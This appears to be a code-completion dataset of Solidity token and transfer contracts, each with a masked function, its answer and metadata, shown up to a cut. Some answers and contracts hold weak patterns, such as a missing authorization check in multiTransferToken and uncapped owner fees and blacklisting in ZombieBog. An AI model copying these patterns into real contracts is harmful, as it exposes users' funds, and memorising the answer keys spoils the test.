contract BTSToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "BTS"; name = "BTS Token"; decimals = 2; _totalSupply = 100000000000; balances[0x623bfbC673447C41a3c5a0312992e73EE6812cC8] = _totalSupply; emit Transfer(address(0), 0x623bfbC673447C41a3c5a0312992e73EE6812cC8, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
contract BTSToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "BTS"; name = "BTS Token"; decimals = 2; _totalSupply = 100000000000; balances[0x623bfbC673447C41a3c5a0312992e73EE6812cC8] = _totalSupply; emit Transfer(address(0), 0x623bfbC673447C41a3c5a0312992e73EE6812cC8, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
return balances[tokenOwner];
function balanceOf(address tokenOwner) public constant returns (uint balance)
// ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance)
72288
BatchTransfer
batchTransfer
contract BatchTransfer { /// @notice Tokens on the given ERC-721 contract are transferred from you to a recipient. /// Don't forget to execute setApprovalForAll first to authorize this contract. /// @param tokenContract An ERC-721 contract /// @param recipient Who gets the tokens? /// @param tokenIds Which token IDs are transferred? function batchTransfer(ERC721Partial tokenContract, address recipient, uint256[] calldata tokenIds) external {<FILL_FUNCTION_BODY> } }
contract BatchTransfer { <FILL_FUNCTION> }
for (uint256 index; index < tokenIds.length; index++) { tokenContract.transferFrom(msg.sender, recipient, tokenIds[index]); }
function batchTransfer(ERC721Partial tokenContract, address recipient, uint256[] calldata tokenIds) external
/// @notice Tokens on the given ERC-721 contract are transferred from you to a recipient. /// Don't forget to execute setApprovalForAll first to authorize this contract. /// @param tokenContract An ERC-721 contract /// @param recipient Who gets the tokens? /// @param tokenIds Which token IDs are transferred? function batchTransfer(ERC721Partial tokenContract, address recipient, uint256[] calldata tokenIds) external
29719
Multivest
multivestBuy
contract Multivest is Ownable { using SafeMath for uint256; /* public variables */ mapping (address => bool) public allowedMultivests; /* events */ event MultivestSet(address multivest); event MultivestUnset(address multivest); event Contribution(address holder, uint256 value, uint256 tokens); modifier onlyAllowedMultivests(address _addresss) { require(allowedMultivests[_addresss] == true); _; } /* constructor */ function Multivest() public {} function setAllowedMultivest(address _address) public onlyOwner { allowedMultivests[_address] = true; MultivestSet(_address); } function unsetAllowedMultivest(address _address) public onlyOwner { allowedMultivests[_address] = false; MultivestUnset(_address); } function multivestBuy(address _address, uint256 _value) public onlyAllowedMultivests(msg.sender) { require(buy(_address, _value) == true); } function multivestBuy( address _address, uint8 _v, bytes32 _r, bytes32 _s ) public payable onlyAllowedMultivests(verify(keccak256(msg.sender), _v, _r, _s)) {<FILL_FUNCTION_BODY> } function verify(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal pure returns (address) { bytes memory prefix = '\x19Ethereum Signed Message:\n32'; return ecrecover(keccak256(prefix, _hash), _v, _r, _s); } function buy(address _address, uint256 _value) internal returns (bool); }
contract Multivest is Ownable { using SafeMath for uint256; /* public variables */ mapping (address => bool) public allowedMultivests; /* events */ event MultivestSet(address multivest); event MultivestUnset(address multivest); event Contribution(address holder, uint256 value, uint256 tokens); modifier onlyAllowedMultivests(address _addresss) { require(allowedMultivests[_addresss] == true); _; } /* constructor */ function Multivest() public {} function setAllowedMultivest(address _address) public onlyOwner { allowedMultivests[_address] = true; MultivestSet(_address); } function unsetAllowedMultivest(address _address) public onlyOwner { allowedMultivests[_address] = false; MultivestUnset(_address); } function multivestBuy(address _address, uint256 _value) public onlyAllowedMultivests(msg.sender) { require(buy(_address, _value) == true); } <FILL_FUNCTION> function verify(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal pure returns (address) { bytes memory prefix = '\x19Ethereum Signed Message:\n32'; return ecrecover(keccak256(prefix, _hash), _v, _r, _s); } function buy(address _address, uint256 _value) internal returns (bool); }
require(_address == msg.sender && buy(msg.sender, msg.value) == true);
function multivestBuy( address _address, uint8 _v, bytes32 _r, bytes32 _s ) public payable onlyAllowedMultivests(verify(keccak256(msg.sender), _v, _r, _s))
function multivestBuy( address _address, uint8 _v, bytes32 _r, bytes32 _s ) public payable onlyAllowedMultivests(verify(keccak256(msg.sender), _v, _r, _s))
45412
JEYCoinContract
transfer
contract JEYCoinContract is JEY{ uint256 constant MAX_UINT256 = 2**256 - 1; string public name; uint8 public decimals; string public symbol; function JEY( ) public { totalSupply = 700000000; //ROY totalSupply balances[msg.sender] = totalSupply; //Allocate ROY to contract deployer name = "JEY"; decimals = 8; //Amount of decimals for display purposes symbol = "JEY"; } function transfer(address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; }
contract JEYCoinContract is JEY{ uint256 constant MAX_UINT256 = 2**256 - 1; string public name; uint8 public decimals; string public symbol; function JEY( ) public { totalSupply = 700000000; //ROY totalSupply balances[msg.sender] = totalSupply; //Allocate ROY to contract deployer name = "JEY"; decimals = 8; //Amount of decimals for display purposes symbol = "JEY"; } <FILL_FUNCTION> function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; }
require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool success)
function transfer(address _to, uint256 _value) public returns (bool success)
51327
MultiTransfer
multiTransferToken
contract MultiTransfer { event Deposited(address from, uint value, bytes data); event Transacted( address msgSender, // 트랜잭션을 시작한 메시지의 발신자 주소 address toAddress, // 트랜잭션이 전송된 주소 uint value // 주소로 보낸 Wei 금액 ); /** * 메서드를 호출하지 않고 트랜잭션을 받으면 호출됩니다. */ function() public payable { if (msg.value > 0) { emit Deposited(msg.sender, msg.value, msg.data); } } /** * @param toAddress1 대상 주소 * @param toAddress2 대상 주소 * @param value1 전송할 웨이의 양 * @param value2 전송할 웨이의 양 */ function multiTransferETH( address fromAddress, address toAddress1, address toAddress2, uint value1, uint value2 ) public payable { if (msg.sender != fromAddress) { revert(); } if (msg.value != value1 + value2) { revert(); } toAddress1.transfer(value1); toAddress2.transfer(value2); emit Transacted(msg.sender, toAddress1, value1); emit Transacted(msg.sender, toAddress2, value2); } /** * @param toAddress1 대상 주소 * @param toAddress2 대상 주소 * @param value1 전송할 웨이의 양 * @param value2 전송할 웨이의 양 * @param tokenContractAddress erc20 토큰 계약의 주소 */ function multiTransferToken( address fromAddress, address toAddress1, address toAddress2, uint value1, uint value2, address tokenContractAddress ) public payable {<FILL_FUNCTION_BODY> } }
contract MultiTransfer { event Deposited(address from, uint value, bytes data); event Transacted( address msgSender, // 트랜잭션을 시작한 메시지의 발신자 주소 address toAddress, // 트랜잭션이 전송된 주소 uint value // 주소로 보낸 Wei 금액 ); /** * 메서드를 호출하지 않고 트랜잭션을 받으면 호출됩니다. */ function() public payable { if (msg.value > 0) { emit Deposited(msg.sender, msg.value, msg.data); } } /** * @param toAddress1 대상 주소 * @param toAddress2 대상 주소 * @param value1 전송할 웨이의 양 * @param value2 전송할 웨이의 양 */ function multiTransferETH( address fromAddress, address toAddress1, address toAddress2, uint value1, uint value2 ) public payable { if (msg.sender != fromAddress) { revert(); } if (msg.value != value1 + value2) { revert(); } toAddress1.transfer(value1); toAddress2.transfer(value2); emit Transacted(msg.sender, toAddress1, value1); emit Transacted(msg.sender, toAddress2, value2); } <FILL_FUNCTION> }
ERC20Interface instance = ERC20Interface(tokenContractAddress); instance.approve(fromAddress, value1 + value2); // 토큰 전송 허가 instance.transferFrom(fromAddress, toAddress1, value1); instance.transferFrom(fromAddress, toAddress2, value2); emit Transacted(fromAddress, toAddress1, value1); emit Transacted(fromAddress, toAddress2, value2);
function multiTransferToken( address fromAddress, address toAddress1, address toAddress2, uint value1, uint value2, address tokenContractAddress ) public payable
/** * @param toAddress1 대상 주소 * @param toAddress2 대상 주소 * @param value1 전송할 웨이의 양 * @param value2 전송할 웨이의 양 * @param tokenContractAddress erc20 토큰 계약의 주소 */ function multiTransferToken( address fromAddress, address toAddress1, address toAddress2, uint value1, uint value2, address tokenContractAddress ) public payable
26690
ZombieBog
_getValues
contract ZombieBog is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; uint8 private _decimals = 9; // string private _name = "Zombie Bog"; // name string private _symbol = "ZOMBOG"; // symbol uint256 private _tTotal = 100000000000000000000000000; // % to holders uint256 public defaultTaxFee = 2; uint256 public _taxFee = defaultTaxFee; uint256 private _previousTaxFee = _taxFee; // % to swap & send to marketing wallet uint256 public defaultMarketingFee = 4; uint256 public _marketingFee = defaultMarketingFee; uint256 private _previousMarketingFee = _marketingFee; uint256 public _marketingFee4Sellers = 4; bool public feesOnSellersAndBuyers = true; uint256 public _maxTxAmount = _tTotal.div(1).div(100); uint256 public numTokensToExchangeForMarketing = _tTotal.div(100).div(100); address payable public marketingWallet = payable(0x82a1D9E8cE34f3E78628c243669e9E11e0b1E34f); // mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) public _isBlacklisted; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tFeeTotal; uint256 private _rTotal = (MAX - (MAX % _tTotal)); IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndSend; bool public SwapAndSendEnabled = true; event SwapAndSendEnabledUpdated(bool enabled); modifier lockTheSwap { inSwapAndSend = true; _; inSwapAndSend = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner() { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner() { _isExcludedFromFee[account] = false; } function removeAllFee() private { if(_taxFee == 0 && _marketingFee == 0) return; _previousTaxFee = _taxFee; _previousMarketingFee = _marketingFee; _taxFee = 0; _marketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _marketingFee = _previousMarketingFee; } //to recieve ETH receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function addToBlackList(address[] calldata addresses) external onlyOwner { for (uint256 i; i < addresses.length; ++i) { _isBlacklisted[addresses[i]] = true; } } function removeFromBlackList(address account) external onlyOwner { _isBlacklisted[account] = false; } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {<FILL_FUNCTION_BODY> } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tMarketing = calculateMarketingFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tMarketing); return (tTransferAmount, tFee, tMarketing); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rMarketing); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeMarketing(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tMarketing); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div( 10**2 ); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBlacklisted[from] && !_isBlacklisted[to], "This address is blacklisted"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + send lock? // also, don't get caught in a circular sending event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); bool overMinTokenBalance = contractTokenBalance >= numTokensToExchangeForMarketing; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if ( overMinTokenBalance && !inSwapAndSend && from != uniswapV2Pair && SwapAndSendEnabled ) { SwapAndSend(contractTokenBalance); } if(feesOnSellersAndBuyers) { setFees(to); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function setFees(address recipient) private { _taxFee = defaultTaxFee; _marketingFee = defaultMarketingFee; if (recipient == uniswapV2Pair) { // sell _marketingFee = _marketingFee4Sellers; } } function SwapAndSend(uint256 contractTokenBalance) private lockTheSwap { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), contractTokenBalance); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( contractTokenBalance, 0, // accept any amount of ETH path, address(this), block.timestamp ); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { marketingWallet.transfer(contractETHBalance); } } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeMarketing(tMarketing); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function setDefaultMarketingFee(uint256 marketingFee) external onlyOwner() { defaultMarketingFee = marketingFee; } function setMarketingFee4Sellers(uint256 marketingFee4Sellers) external onlyOwner() { _marketingFee4Sellers = marketingFee4Sellers; } function setFeesOnSellersAndBuyers(bool _enabled) public onlyOwner() { feesOnSellersAndBuyers = _enabled; } function setSwapAndSendEnabled(bool _enabled) public onlyOwner() { SwapAndSendEnabled = _enabled; emit SwapAndSendEnabledUpdated(_enabled); } function setnumTokensToExchangeForMarketing(uint256 _numTokensToExchangeForMarketing) public onlyOwner() { numTokensToExchangeForMarketing = _numTokensToExchangeForMarketing; } function _setMarketingWallet(address payable wallet) external onlyOwner() { marketingWallet = wallet; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { _maxTxAmount = maxTxAmount; } }
contract ZombieBog is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; uint8 private _decimals = 9; // string private _name = "Zombie Bog"; // name string private _symbol = "ZOMBOG"; // symbol uint256 private _tTotal = 100000000000000000000000000; // % to holders uint256 public defaultTaxFee = 2; uint256 public _taxFee = defaultTaxFee; uint256 private _previousTaxFee = _taxFee; // % to swap & send to marketing wallet uint256 public defaultMarketingFee = 4; uint256 public _marketingFee = defaultMarketingFee; uint256 private _previousMarketingFee = _marketingFee; uint256 public _marketingFee4Sellers = 4; bool public feesOnSellersAndBuyers = true; uint256 public _maxTxAmount = _tTotal.div(1).div(100); uint256 public numTokensToExchangeForMarketing = _tTotal.div(100).div(100); address payable public marketingWallet = payable(0x82a1D9E8cE34f3E78628c243669e9E11e0b1E34f); // mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) public _isBlacklisted; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tFeeTotal; uint256 private _rTotal = (MAX - (MAX % _tTotal)); IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndSend; bool public SwapAndSendEnabled = true; event SwapAndSendEnabledUpdated(bool enabled); modifier lockTheSwap { inSwapAndSend = true; _; inSwapAndSend = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return 